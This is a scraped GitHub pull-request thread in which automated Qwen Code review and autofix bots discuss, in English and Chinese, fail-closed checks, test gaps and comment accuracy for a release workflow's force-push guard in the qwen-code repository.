未探索到全部深度(达到工具调用预算):"PR #9082 (QwenLM/qwen-code) changes the release publish…":none — all checks above completed within budget.;"You are review agent reverse-audit — Reverse audit agent…":none — all checks I opened were completed within budget.;"PR #9082 (QwenLM/qwen-code) changes the release publish…":none — all checks I started completed; I did not run the repo-wide build/typecheck since the changed files are plain-JS scripts and YAML outside the TS packages…;"You are review agent reverse-audit — Reverse audit agent…":none — all planned checks completed within budget (~19 tool calls).;"PR #9082 (QwenLM/qwen-code) changes the release publish…":nothing material — everything I wanted to check I checked. Did I look at pr-force-push-reminder.yml? Irrelevant. Fine.,另有 1 条。
未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
Test Plan(非阻断):release/v0.21.12-preview.0 — no such file or directory。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| // ls-remote exits 2 when no ref matches; that is "tag absent", not a | ||
| // failed check. | ||
| if (!(checkRemoteTags && error.status === 2)) { | ||
| console.error(`Failed to check git tags for conflicts: ${error.message}`); | ||
| } |
There was a problem hiding this comment.
[Suggestion] R4-1: The push-time re-validation guarding the new git push --force fails open on probe errors. doesVersionExist treats every failed check as "version not shipped": the npm loop's catch (_error) {} swallows registry errors (5xx/timeout/rate-limit) identically to E404 with no log, this new ls-remote catch logs-and-continues for any exit status other than 2, and the gh release view catch does the same for any error isExpectedMissingGitHubRelease does not recognize. Probe-proven: with npm/git ls-remote/gh shimmed to error, node scripts/get-release-version.js --assert-unreleased=0.21.11 (a genuinely shipped version) exits 0 — the guard passes over a shipped version whenever its probes are degraded. Independently reported by 8 review lenses this round. — Failure scenario: run A publishes npm packages and dies before gh release create (the tag/release exist only after that final step); retry B reaches this push while the registry is transiently degraded — plausibly the same degradation that broke run A → all ten probes error and are swallowed as "absent" → the assert passes → git push --force replaces the branch tip the shipped packages anchor to, and the tag, release, and merge-to-main then anchor to the new tip. The new concurrency group removes in-workflow same-version racers, so the trigger is the compound (shipped-but-untagged state + probe failure in exactly that window) — hence Suggestion, not Critical. House precedent fails closed: packages/sdk-python/scripts/get-release-version.js throws when its tag check errors.
Suggested fix — fail closed on the push-time path only (prepare's best-effort version selection stays unchanged):
// ls-remote leg: any status other than 2 is "cannot verify", not "absent"
if (checkRemoteTags && error.status !== 2) {
throw new Error(`Failed to verify tag v${version} on origin: ${error.message}`);
}
// plus a strict mode (set only by assertVersionUnreleased) where npm/gh probe
// errors other than E404 / release-not-found throw instead of continuing中文说明
保护新增 git push --force 的推送时重新校验在探测出错时是失败放行(fail open)的。doesVersionExist 把所有检查失败都当作"版本未发布":npm 循环的 catch (_error) {} 将 registry 错误(5xx/超时/限流)与 E404 同样静默吞掉;此处新增的 ls-remote catch 对除 2 以外的任何退出码都是记录日志后继续;gh release view 的 catch 对 isExpectedMissingGitHubRelease 无法识别的错误同样如此。已用探针证实:把 npm/git ls-remote/gh 全部打桩为报错后,node scripts/get-release-version.js --assert-unreleased=0.21.11(一个真实已发布的版本)以退出码 0 通过 —— 只要探测降级,防护就会放行已发布的版本。本轮由 8 个审查视角独立报告。 — 失败场景:run A 发布了 npm 包但在 gh release create 之前失败(tag/release 只在最后一步才存在);重试 B 到达此推送时 registry 恰好瞬时降级 —— 很可能正是压垮 run A 的同一次降级 → 十个探测全部报错并被当作"不存在"吞掉 → 断言通过 → git push --force 替换了已发布包所锚定的分支 tip,随后 tag、release 与 merge-to-main 都锚定到新的 tip。新增的并发组已消除 workflow 内的同版本竞争者,因此触发条件是复合的(已发布但未打 tag 的状态 + 恰在该窗口内探测失败)—— 所以是 Suggestion 而非 Critical。仓库内的先例是失败关闭的:packages/sdk-python/scripts/get-release-version.js 在其 tag 检查出错时会抛出。
建议修复 —— 仅在推送时路径失败关闭(prepare 的尽力版本选择语义不变):ls-remote 分支对非 2 退出码抛出"无法验证"错误;并为 assertVersionUnreleased 增加严格模式,使 npm/gh 探测的非 E404/非 release-not-found 错误抛出而非继续。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| const args = getArgs(); | ||
| if (args['assert-unreleased'] !== undefined) { | ||
| try { | ||
| assertVersionUnreleased(args['assert-unreleased']); |
There was a problem hiding this comment.
[Suggestion] R4-2: The new CLI dispatch seam — this args['assert-unreleased'] key lookup plus the ::error:: formatting and process.exit(1) — has no test at any level: the unit tests call assertVersionUnreleased directly, and the workflow test pins only the YAML invocation string. Mutation-proven: renaming the key to args['assert_unreleased'] leaves all 46 tests green, and the mutated CLI run prints getVersion() JSON and exits 0. — Failure scenario: any future edit that mistypes this key makes the workflow's --assert-unreleased="${RELEASE_VERSION}" call fall into the else branch, print version JSON, and exit 0 → the force push proceeds with the re-validation silently skipped — exactly the regression this PR exists to prevent, shipped green. The process.argv[1] entry guard makes this block unreachable to in-process unit tests, so the gap is structural, not incidental.
// suggested fix: a spawn-based test of the real CLI mode, e.g.
it('aborts with an error annotation when the version has shipped', () => {
// spawnSync('node', ['scripts/get-release-version.js', '--assert-unreleased=0.21.11'])
// expect(result.status).toBe(1);
// expect(result.stderr.toString()).toContain('::error::');
});
// (or extract the dispatch into an exported function and unit-test it)中文说明
新的 CLI 分发接缝 —— 此处 args['assert-unreleased'] 键查找加上 ::error:: 格式化与 process.exit(1) —— 在任何层级都没有测试:单元测试直接调用 assertVersionUnreleased,workflow 测试只固定 YAML 中的调用字符串。已用突变证实:把键改名为 args['assert_unreleased'] 后全部 46 个测试仍为绿色,且突变后的 CLI 运行会打印 getVersion() JSON 并以退出码 0 结束。 — 失败场景:未来任何把该键打错的编辑都会使 workflow 的 --assert-unreleased="${RELEASE_VERSION}" 调用落入 else 分支、打印版本 JSON 并以 0 退出 → 强制推送在重新校验被静默跳过的情况下执行 —— 正是本 PR 要防止的回归,且以全绿状态上线。process.argv[1] 入口守卫使该代码块对进程内单元测试不可达,因此缺口是结构性的而非偶然。
建议修复:为真实 CLI 模式增加基于 spawn 的测试(断言非零退出码与 ::error:: 前缀),或把分发逻辑提取为导出函数并做单元测试。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| - name: 'Commit and Conditionally Push package versions' | ||
| env: | ||
| BRANCH_NAME: '${{ steps.release_branch.outputs.BRANCH_NAME }}' | ||
| GITHUB_TOKEN: '${{ github.token }}' |
There was a problem hiding this comment.
[Suggestion] R4-3: The new re-validation pin test asserts RELEASE_VERSION in this step's env but not GITHUB_TOKEN, even though the gh release view leg the same guard added requires it. Mutation-proven: deleting this line keeps 46/46 tests green. Observed live: without a token, gh release view fails with an authentication error matching neither 'release not found' nor 'Not Found', so isExpectedMissingGitHubRelease does not recognize it and the catch swallows it. — Failure scenario: a future edit drops this line; the pin stays green; gh release view then fails with an auth error on every release and the guard permanently runs on two legs (npm + remote tag) instead of three — a silent, permanent degradation of the very protection this PR adds.
Suggested fix — extend the re-validation regex in scripts/tests/release-workflow.test.js to also require this line inside the Commit and Conditionally Push package versions env block (a step-scoped anchor is needed — GITHUB_TOKEN appears in other steps too):
/name: 'Commit and Conditionally Push package versions'\n {8}env:\n[\s\S]*?GITHUB_TOKEN: '\$\{\{ github\.token \}\}'[\s\S]*?RELEASE_VERSION: '\$\{\{ needs\.prepare\.outputs\.release_version \}\}'/中文说明
新的重新校验固定测试断言了本步骤 env 中的 RELEASE_VERSION,却没有断言 GITHUB_TOKEN —— 而同一防护新增的 gh release view 分支恰恰依赖它。已用突变证实:删除本行后 46/46 测试仍全绿。实测观察:无 token 时 gh release view 报认证错误,该错误既不匹配 'release not found' 也不匹配 'Not Found',因此 isExpectedMissingGitHubRelease 无法识别、catch 会将其吞掉。 — 失败场景:未来某次编辑删掉本行;固定测试仍为绿色;此后每次发布 gh release view 都因认证错误失败,防护永久退化为两条腿(npm + 远端 tag)而不是三条 —— 对本 PR 所添加保护本身的静默且永久的削弱。
建议修复:扩展 scripts/tests/release-workflow.test.js 中重新校验的正则,使其同时要求本行位于 Commit and Conditionally Push package versions 的 env 块内(需要步骤级锚定 —— GITHUB_TOKEN 也出现在其他步骤中)。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| // Check Git tags. Push-time callers pass checkRemoteTags: the local | ||
| // checkout predates the approval gate, so a tag a concurrent run pushed | ||
| // in between is not in it. |
There was a problem hiding this comment.
[Suggestion] R4-4: This comment's causal claim is inverted — the publish job's Checkout is the job's FIRST step and the environment: production-release gate delays the entire job, so the checkout runs AFTER approval (fetching, with fetch-depth: 0, any tag pushed during the wait). The window git ls-remote actually covers is the in-job gap between that checkout and the push step several steps later (setup-node, npm ci, git config, branch creation, and the version bump intervene), plus out-of-band tag pushes. The code is correct; only the rationale is wrong. (The sibling comment in release.yml's push step — about prepare's check predating the gate — is accurate and needs no change.) — Failure scenario: a maintainer reasoning from this comment about whether the local git tag -l check could ever be restored, or what window the remote check covers, works from an inverted picture of the workflow's timing — the same comment-accuracy class this PR's round-3 finding R3-5 already fixed for the concurrency guarantee.
| // Check Git tags. Push-time callers pass checkRemoteTags: the local | |
| // checkout predates the approval gate, so a tag a concurrent run pushed | |
| // in between is not in it. | |
| // Check Git tags. Push-time callers pass checkRemoteTags: the checkout | |
| // at job start can only know tags that existed when the job began, and | |
| // the version may ship between that fetch and this push — check origin. |
中文说明
本注释的因果论断是反的 —— publish 任务的 Checkout 是该任务的第一个步骤,而 environment: production-release 门禁会延迟整个任务,因此 checkout 在审批通过之后才运行(并以 fetch-depth: 0 取到等待期间推送的任何 tag)。git ls-remote 实际覆盖的窗口是该 checkout 与若干步骤之后的推送步骤之间的任务内间隙(其间经过 setup-node、npm ci、git config、分支创建与版本 bump),以及带外的 tag 推送。代码本身正确;只是论据写反了。(release.yml 推送步骤中的兄弟注释 —— 关于 prepare 的检查早于门禁 —— 是准确的,无需改动。) — 失败场景:维护者依据本注释判断本地 git tag -l 检查是否可能被恢复、或远端检查覆盖什么窗口时,会基于一个颠倒的 workflow 时序图推理 —— 这与第 3 轮发现 R3-5 已修复的并发保证注释属于同一类注释准确性问题。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| // The release workflow's publish steps and this guard both derive from | ||
| // this list; adding or removing a package must update the pin here so | ||
| // every consumer is reviewed together. |
There was a problem hiding this comment.
[Suggestion] R4-5: This comment claims the workflow's publish steps derive from PUBLISHED_PACKAGES, but they hardcode the set separately in YAML (three individual publish steps plus the channel allowlist loop in release.yml); grep shows PUBLISHED_PACKAGES is referenced only by the script and the tests. The R3-2 fix made the guard follow this list, but nothing couples the list to the workflow's publish set, so drift is prevented in one direction only. — Failure scenario: an 11th package added to the workflow's publish allowlist but not to PUBLISHED_PACKAGES leaves both the push-time guard and prepare's conflict loop blind to it; a release that partially published only the new package and then failed would not be refused on retry, and the force push would replace the branch tip over it.
| // The release workflow's publish steps and this guard both derive from | |
| // this list; adding or removing a package must update the pin here so | |
| // every consumer is reviewed together. | |
| // The push-time guard derives from this list; the workflow's publish | |
| // steps hardcode the same set separately, so adding or removing a | |
| // package must update both this pin and the publish steps in | |
| // release.yml so every consumer is reviewed together. |
Alternatively, close the gap where this file already parses the workflow YAML: assert every PUBLISHED_PACKAGES entry appears in a publish step of release.yml.
中文说明
本注释声称 workflow 的发布步骤派生自 PUBLISHED_PACKAGES,但它们在 YAML 中是单独硬编码的(release.yml 中三个独立发布步骤加上 channel allowlist 循环);grep 显示 PUBLISHED_PACKAGES 仅被该脚本与测试引用。R3-2 的修复使防护跟随此列表,但没有任何机制把该列表与 workflow 的发布集合耦合,因此漂移只在一个方向上被防止。 — 失败场景:第 11 个包被加入 workflow 的发布 allowlist 却未加入 PUBLISHED_PACKAGES 时,推送时防护与 prepare 的冲突循环都对其不可见;一次仅发布了该新包便失败的发布,在重试时不会被拒绝,强制推送会覆盖其分支 tip。
也可以选择在本文件已解析 workflow YAML 的地方直接堵住缺口:断言 PUBLISHED_PACKAGES 的每一项都出现在 release.yml 的某个发布步骤中。
— qwen3.8-max via Qwen Code /review (v0.21.11)
|
🤖 Addressed the latest review feedback (round 3/10). What changed, and what I pushed back on: · 已处理最新评审反馈(第 3/10 轮)。改动内容与我反驳保留之处如下: Autofix review round summary — PR #9082 (issue #9076)Round outcome: made changes — all five findings addressed in one commit ( Feedback points and dispositionsR4-1 — push-time re-validation fails open on probe errors (rc:3782626644) — ResolvedVerified: every probe error was swallowed as "version not shipped" — the npm loop swallowed registry errors (5xx/timeout/rate-limit) identically to E404, the
R4-2 — CLI dispatch seam untested (rc:3782626651) — ResolvedVerified the structural gap. Extracted the dispatch into an exported R4-3 — re-validation pin misses GITHUB_TOKEN (rc:3782626659) — ResolvedExtended the re-validation regex in R4-4 — inverted comment rationale on the tag check (rc:3782626668) — ResolvedVerified against release.yml: the publish job's R4-5 — pin comment overstates coupling to the workflow (rc:3782626691) — ResolvedVerified: the workflow's publish steps hardcode the set separately (three named publish steps plus the channel allowlist loop NotesNo conflicting feedback, no failed or still-red checks in this round's input. Diff growth remains well inside budget (this round adds ~103 net test lines and ~26 net source lines). Verification
中文说明Autofix 审查轮次总结 — PR #9082(issue #9076)本轮结果: 已修改 —— 五条发现全部处理,合并为一个提交( 反馈点及处理R4-1 — 推送时重新校验在探测出错时失败放行(rc:3782626644)— 已解决已核实:所有探测错误都被当作"版本未发布"吞掉 —— npm 循环将 registry 错误(5xx/超时/限流)与 E404 同样吞掉;
R4-2 — CLI 分发接缝无测试(rc:3782626651)— 已解决已核实该结构性缺口。将分发逻辑提取为导出函数 R4-3 — 重新校验固定测试遗漏 GITHUB_TOKEN(rc:3782626659)— 已解决已扩展 R4-4 — tag 检查注释的因果论断颠倒(rc:3782626668)— 已解决已对照 release.yml 核实:publish 任务的 R4-5 — 固定测试注释夸大了与 workflow 的耦合(rc:3782626691)— 已解决已核实:workflow 的发布步骤单独硬编码了该集合(三个独立命名的发布步骤加上 channel allowlist 循环 说明本轮输入中无相互矛盾的反馈,无失败或持续红色的检查。Diff 增长仍远低于预算(本轮净增约 103 行测试、26 行源码)。 验证
Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 Re-review when you have a moment. After round 10 this bot stops and leaves the PR for a human. · 有空请复审;第 10 轮后本 bot 停止并将 PR 交给人工。 🧠 Handled by Qwen Code · model/模型 |
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Reviewed. Suggestions are inline.
Not explored to full depth (tool budget reached): "背景:PR #9082(QwenLM/qwen-code,Fixes #9076)将 release publish…": none — all planned checks completed within budget.; "You are review agent reverse-audit — Reverse audit agent…": (none — all planned checks completed within budget).
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Test Plan (not a blocker): release/v0.21.12-preview.0 — no such file or directory.
中文说明
已审查。 建议见行内评论。
未探索到全部深度(达到工具调用预算):"背景:PR #9082(QwenLM/qwen-code,Fixes #9076)将 release publish…":none — all planned checks completed within budget.;"You are review agent reverse-audit — Reverse audit agent…":(none — all planned checks completed within budget)。
未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
Test Plan(非阻断):release/v0.21.12-preview.0 — no such file or directory。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| console.log(JSON.stringify(getVersion(args), null, 2)); | ||
| return 0; |
There was a problem hiding this comment.
[Suggestion] runCli's default dispatch branch — the path the prepare job uses (VERSION_JSON=$(node scripts/get-release-version.js "${VERSION_ARGS[@]}"), release.yml:136) — has zero test coverage: every runCli call in the tests passes 'assert-unreleased', and the existing getVersion tests import getVersion directly, bypassing this wrapper. The entry-point exit-code glue (if (exitCode !== 0) process.exit(exitCode)) is likewise unexercised.
Failure scenario: a future edit mutating this branch — return 0 → return 1, dropping the args pass-through to getVersion, or inverting the process.exit condition — merges with a fully green suite (all new tests touch only the assert branch). Proven by mutation probe: return 0; → return 1; here survives the full 1174-test scripts suite, while a control mutation on the covered assert branch fails as expected. The regression surfaces only at the next release attempt: prepare's version lookup fails, or (for the exit-condition inversion) --assert-unreleased exits 0 on a shipped version and the force push proceeds over it.
Suggested fix: add runCli tests for the default path — assert runCli({ type: 'nightly' }) returns 0 and prints the getVersion JSON (spy on console.log, reuse the existing mockExecSync); optionally a subprocess smoke test of both modes to cover the process.exit plumbing end to end.
中文说明
runCli 的默认分发分支 —— 即 prepare 任务使用的路径(VERSION_JSON=$(node scripts/get-release-version.js "${VERSION_ARGS[@]}"),release.yml:136)—— 完全没有测试覆盖:测试中所有 runCli 调用都传入 'assert-unreleased',既有的 getVersion 测试直接导入 getVersion,绕过了这层新包装。入口处的退出码接线(if (exitCode !== 0) process.exit(exitCode))同样未被执行到。
失败场景:未来对该分支的改动 —— return 0 → return 1、删除传给 getVersion 的 args、或反转 process.exit 条件 —— 都会在整个测试套件全绿的情况下合入(新增测试全部只覆盖 assert 分支)。已通过突变探针证实:将此处的 return 0; 改为 return 1; 后,完整的 1174 个脚本测试仍然全部通过;而对已覆盖的 assert 分支施加对照突变则会按预期失败。该回归只会在下一次发布尝试时暴露:prepare 的版本查询失败;或者若退出条件被反转,--assert-unreleased 会对已发布版本以 0 退出,强制推送照常进行。
建议修复:为默认路径补充 runCli 测试 —— 断言 runCli({ type: 'nightly' }) 返回 0 并打印 getVersion 的 JSON(spy console.log,复用现有 mockExecSync);可选地增加覆盖两种模式的子进程冒烟测试,以端到端验证 process.exit 接线。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| node scripts/get-release-version.js --assert-unreleased="${RELEASE_VERSION}" | ||
| echo "Pushing release branch to remote..." | ||
| git push --set-upstream origin "${BRANCH_NAME}" --follow-tags | ||
| git push --force --set-upstream origin "${BRANCH_NAME}" --follow-tags |
There was a problem hiding this comment.
[Suggestion] The push-time guard includes all 10 npm packages in its existence check (strict doesVersionExist), so after a partial npm publish any retry is permanently refused — and the publish steps' per-package already published; skipping resume logic becomes unreachable in exactly the state it exists for.
Failure scenario: run A force-pushes the branch, publishes 2 of 10 npm packages, then hits a transient npm failure (503/ETIMEDOUT) and the publish job fails. Any retry of the same version reaches this guard: strict mode finds the version on the 2 already-published packages and refuses (verified by probe: a 2-of-10-shipped registry makes the guard exit 1), so the job dies at the push step — before the four publish steps whose skip-if-published logic exists precisely to resume partial publishes. Pre-PR, recovery was deleting the stale remote branch and re-running; post-PR the guard still refuses after branch/tag deletion because npm already has the version. Re-dispatch does not complete the version either: getVersion auto-increments past a taken version, silently shipping X.Y.Z+1 and orphaning the partially-published packages at X.Y.Z. (The re-run dead-end predates this diff — the old non-fast-forward rejection blocked it too — so this is not a regression; but the PR's stated goal is to make retries work, and partial publish remains the most common class of mid-release failure.)
Suggested fix: either narrow the push-time guard to the artifacts that anchor the branch tip and cannot be redone idempotently (origin tag + GitHub release), relying on the publish steps' per-package skip logic plus the concurrency group to prevent npm double-publish; or, if the npm leg is deliberately conservative, extend the refusal message to name the partial-publish recovery — e.g. "Found only on: . If a previous attempt published partially, complete the remaining packages manually — re-running this job will keep failing here."
中文说明
推送时守卫把全部 10 个 npm 包都纳入存在性检查(strict doesVersionExist),因此一次部分 npm 发布之后,任何重试都会被永久拒绝 —— 而发布步骤中逐包的 already published; skipping 续传逻辑,恰恰在它本应生效的状态下变得不可达。
失败场景:run A 强制推送分支、发布了 10 个 npm 包中的 2 个,随后因瞬时 npm 故障(503/ETIMEDOUT)而失败。对同一版本的任何重试都会到达此守卫:strict 模式在已发布的 2 个包上发现该版本并拒绝(已通过探针验证:10 个包中 2 个已发布的 registry 会使守卫以 1 退出),于是任务死在推送步骤 —— 死在那四个靠"已发布则跳过"逻辑来续传部分发布的步骤之前。改动前,恢复手段是删除陈旧远端分支后重跑;改动后,即使删掉分支/tag,守卫仍会拒绝,因为 npm 上已有该版本。重新派发也无法补齐该版本:getVersion 会自动递增跳过已占用版本,悄悄发布 X.Y.Z+1,使部分发布的包被遗弃在 X.Y.Z。(该"重跑死路"在本 diff 之前就存在 —— 旧的 non-fast-forward 拒绝同样挡住重跑 —— 所以这不是回归;但本 PR 的目标正是让重试可用,而部分发布仍是最常见的发布中途失败类型。)
建议修复:要么把推送时守卫收窄到锚定分支 tip 且无法幂等重做的产物(origin tag + GitHub release),依赖发布步骤的逐包跳过逻辑加并发组来防止 npm 重复发布;要么,如果 npm 这一路检查是刻意的保守设计,就把拒绝消息扩展为指明部分发布的恢复方式 —— 例如"仅发现于:。若上次尝试只发布了部分包,请手动补齐其余包 —— 重跑本任务仍会在此失败。"
— qwen3.8-max via Qwen Code /review (v0.21.11)
| # its branch tip — and the tag and merge-to-main anchored to it — | ||
| # silently replaced. The script owns the published-package list, | ||
| # so this guard cannot drift from it. | ||
| node scripts/get-release-version.js --assert-unreleased="${RELEASE_VERSION}" |
There was a problem hiding this comment.
[Suggestion] Every guard refusal or probe failure fails the publish job, which drives notify_failure (needs.publish.result == 'failure', dry_run != 'true') to file a "Release Failed" issue labeled autofix/approved and dispatch the autonomous autofix agent (gh workflow run qwen-autofix.yml … -f dry_run=false) — including for benign, correct refusals.
Failure scenario: while a run for v0.20.0 sits at the production-release approval gate, an operator re-dispatches the same version (or the midnight schedule and a manual dispatch compute the identical nightly version). The concurrency group queues the duplicate; the first run ships; the duplicate then re-validates, correctly refuses ("already shipped"), and the publish job fails. notify_failure then creates a "Release Failed for v0.20.0" issue and dispatches the autofix agent against a release that actually succeeded — a misleading issue plus an autonomous dry_run=false agent run spent on a non-failure. The same machinery fires for a transient npm/ls-remote/gh outage at push time (fail-closed is right, but its aftermath is indistinguishable from a real release failure).
Suggested fix: distinguish guard refusals from real failures before failing the job — e.g. have the refusal exit with a marker the workflow can detect and route to a ::notice + job success (for "already shipped") or a dedicated no-autofix notification path, so only genuine failures reach notify_failure's autofix dispatch.
中文说明
守卫的任何拒绝或探针失败都会使 publish 任务失败,进而触发 notify_failure(needs.publish.result == 'failure'、dry_run != 'true')创建一个带 autofix/approved 标签的"Release Failed" issue 并派发自动修复 agent(gh workflow run qwen-autofix.yml … -f dry_run=false)—— 包括那些良性、正确的拒绝。
失败场景:当 v0.20.0 的一次运行停在 production-release 审批门禁时,运维又对同一版本做了一次派发(或午夜定时任务与手动派发计算出完全相同的 nightly 版本)。并发组将重复的运行排队;第一次运行完成发布;随后排队的运行重新校验,正确地拒绝("已发布"),publish 任务失败。notify_failure 于是创建"Release Failed for v0.20.0" issue,并对一次实际成功的发布派发自动修复 agent —— 产生一个误导性 issue,外加一次花在非故障上的 dry_run=false 自主 agent 运行。同样的机制也会在推送时刻的瞬时 npm/ls-remote/gh 故障时被触发(失败即关闭是对的,但其后续处理与真正的发布失败无法区分)。
建议修复:在使任务失败之前区分守卫拒绝与真实故障 —— 例如让拒绝以一个工作流可识别的标记退出,并路由到 ::notice + 任务成功(针对"已发布"情形)或一条不触发自动修复的专用通知路径,使只有真实故障才会进入 notify_failure 的自动修复派发。
— qwen3.8-max via Qwen Code /review (v0.21.11)
…of autofix (#9076) The push-time guard refused retries after a partial npm publish without saying where the version had shipped or how to recover, and every refusal failed the publish job into notify_failure, filing a "Release Failed" issue and dispatching the autofix agent against releases that did not fail. - Scan all published packages in strict mode and name every shipped location in the refusal (npm packages, origin tag, GitHub release) with partial-publish recovery guidance; a decisive hit ends the check so a flaky later probe cannot mask the refusal with a probe error. - Give the guard distinct exit codes: 3 = already shipped (decisive, benign), 2 = probe or usage failure. Exit 1 is reserved for uncaught node errors so a crash can never masquerade as the benign marker. The push step marks exit-3 refusals via the version_refusal job output, and notify_failure skips its issue + autofix dispatch for exactly that failure while genuine failures still notify. - Cover runCli's default dispatch (prepare's path), the exit-code contract, and the process.exit wiring end to end.
|
🤖 Addressed the latest review feedback (round 4/10). What changed, and what I pushed back on: · 已处理最新评审反馈(第 4/10 轮)。改动内容与我反驳保留之处如下: Review round summary — PR #9082 (issue #9076)Three Finding R5-1 —
|
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Not explored to full depth (tool budget reached): "Context: PR #9082 (QwenLM/qwen-code, Fixes #9076) changes…": none — all checks I started completed within budget..
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Test Plan (not a blocker): release/v0.21.12-preview.0 — no such file or directory.
中文说明
未探索到全部深度(达到工具调用预算):"Context: PR #9082 (QwenLM/qwen-code, Fixes #9076) changes…":none — all checks I started completed within budget.。
未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
Test Plan(非阻断):release/v0.21.12-preview.0 — no such file or directory。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| GUARD_STATUS=0 | ||
| node scripts/get-release-version.js --assert-unreleased="${RELEASE_VERSION}" || GUARD_STATUS=$? |
There was a problem hiding this comment.
[Critical] R6-4: The guard invokes scripts/get-release-version.js from the checked-out ref — the operator-controlled dispatch input ref — and fails OPEN when that ref predates this PR. Probed against the merge base: the pre-PR entry point (console.log(JSON.stringify(getVersion(getArgs()), null, 2))) treats --assert-unreleased=X as an ignored unknown key, defaults type to nightly, prints version JSON and exits 0 — so GUARD_STATUS=0 reads as "unreleased verified" while the guard never ran, and the newly added git push --force proceeds. No gate rejects a pre-PR ref: prepare invokes the checked-out script only with flags that predate this PR and emits exactly the JSON keys it consumes, so the run reaches the push step with the old script. — Failure scenario: dispatch the workflow from a branch containing this PR with ref pointing at a pre-PR maintenance ref/SHA (the documented patch-release flow of that input) → the checkout brings the pre-PR script, the guard passes open with no log indication it never ran, and if that version ships concurrently during the prepare→push window (the minutes-to-hours of validation jobs + the production-release approval gate that the diff's own rationale names), the force push replaces the branch tip that gh release create --target and finalize-release's merge-to-main anchor to — npm vX, tag vX, and main content permanently inconsistent. Pre-diff the same configuration was safer: no force push, and non-fast-forward rejection still serialized retries.
Suggested fix — fail closed on capability before trusting exit 0:
if ! grep -q "assert-unreleased" scripts/get-release-version.js; then
echo "::error::Checked-out ref predates the push-time guard; refusing force push."
exit 1
fi(or have the guard print a sentinel the bash requires, or document that releases may only be dispatched from refs containing the guard)
中文说明
[Critical] R6-4:守卫从检出的 ref(即运维可控的 dispatch 输入 ref)调用 scripts/get-release-version.js;当该 ref 早于本 PR 时,守卫会失败放行(fail open)。已对 merge base 实测:PR 之前的入口(console.log(JSON.stringify(getVersion(getArgs()), null, 2)))会把 --assert-unreleased=X 当作未知参数忽略、默认走 nightly 路径、打印版本 JSON 并以 0 退出 —— 于是 GUARD_STATUS=0 被读作"已确认未发布",而守卫其实从未运行,新增的 git push --force 照常执行。没有任何门禁拒绝早于 PR 的 ref:prepare 只使用早于本 PR 的参数调用检出脚本,且产出的 JSON 键与 prepare 消费的完全一致,因此运行会带着旧脚本走到推送步骤。 — 失败场景:从包含本 PR 的分支派发 workflow,同时将 ref 指向 PR 之前的维护分支/SHA(该输入文档化的补丁发布用法)→ 检出带来 PR 之前的脚本,守卫静默放行且日志无任何异常;若该版本在 prepare→推送窗口(diff 自述的"数分钟到数小时":验证任务 + production-release 审批)内并发发布成功,强制推送将替换 gh release create --target 与 finalize-release 合入 main 所锚定的分支 tip —— npm vX、tag vX 与 main 内容永久不一致。改动前同样的配置更安全:没有强制推送,non-fast-forward 拒绝仍在推送时刻串行化重试。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| if (process.argv[1] === fileURLToPath(import.meta.url)) { | ||
| console.log(JSON.stringify(getVersion(getArgs()), null, 2)); | ||
| const exitCode = runCli(getArgs()); |
There was a problem hiding this comment.
[Suggestion] R5-1 (carried forward from round 5 — partially addressed): the default-dispatch branch of runCli is now tested, but the original finding's second half — the entry-point exit-code glue — is still unexercised for the exit-3 (already-shipped refusal) path: the only real-entry-point test ('wires the guard exit code to the process exit status end to end') spawns the script with --assert-unreleased= (empty → usage error → exit 2). Exit 3 is covered only via in-process runCli(), where this block never runs. — Failure scenario: mutation-proven — changing if (exitCode !== 0) to if (exitCode !== 0 && exitCode !== 3) survives all 58 tests, and a stubbed-npm probe of the real entry point then exits 0 on a shipped version: the workflow reads GUARD_STATUS=0, version_refusal is never set, and the force push proceeds over the shipped version — exactly the regression this PR exists to prevent, shipped green.
Suggested fix — a spawnSync test of the real entry point driving exit 3; refusal is decided by the first npm hit, so a stub npm on PATH (via the spawn env) that echoes the requested version for npm view suffices — no network needed:
const result = spawnSync(
process.execPath,
['scripts/get-release-version.js', '--assert-unreleased=1.2.3'],
{ encoding: 'utf8', env: { ...process.env, PATH: `${stubDir}:${process.env.PATH}` } },
);
expect(result.status).toBe(3);
expect(result.stderr).toContain('has already shipped');This shape was verified to kill the mutant.
中文说明
[Suggestion] R5-1(自第 5 轮延续 —— 部分已解决):runCli 的默认分发分支现在已有测试,但原发现的后半部分 —— 入口处的退出码接线 —— 对 exit 3(已发布拒绝)路径仍未被端到端执行:唯一真实入口测试('wires the guard exit code to the process exit status end to end')以 --assert-unreleased=(空值 → 用法错误 → exit 2)启动脚本。exit 3 仅通过进程内 runCli() 覆盖,而该代码块在那里从不执行。 — 失败场景:已用突变证实 —— 将 if (exitCode !== 0) 改为 if (exitCode !== 0 && exitCode !== 3) 后全部 58 个测试仍通过;此时用打桩的 npm 探针运行真实入口,已发布版本会以 0 退出:workflow 读到 GUARD_STATUS=0,version_refusal 永远不会被设置,强制推送在已发布版本上照常进行 —— 正是本 PR 要防止的回归,且以全绿状态上线。建议修复见上方英文部分(spawnSync + 打桩 npm 驱动 exit 3),该形式已验证可杀死该突变。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| ); | ||
| }); | ||
|
|
||
| it('keeps a decisive version refusal out of the release-failed notification', () => { |
There was a problem hiding this comment.
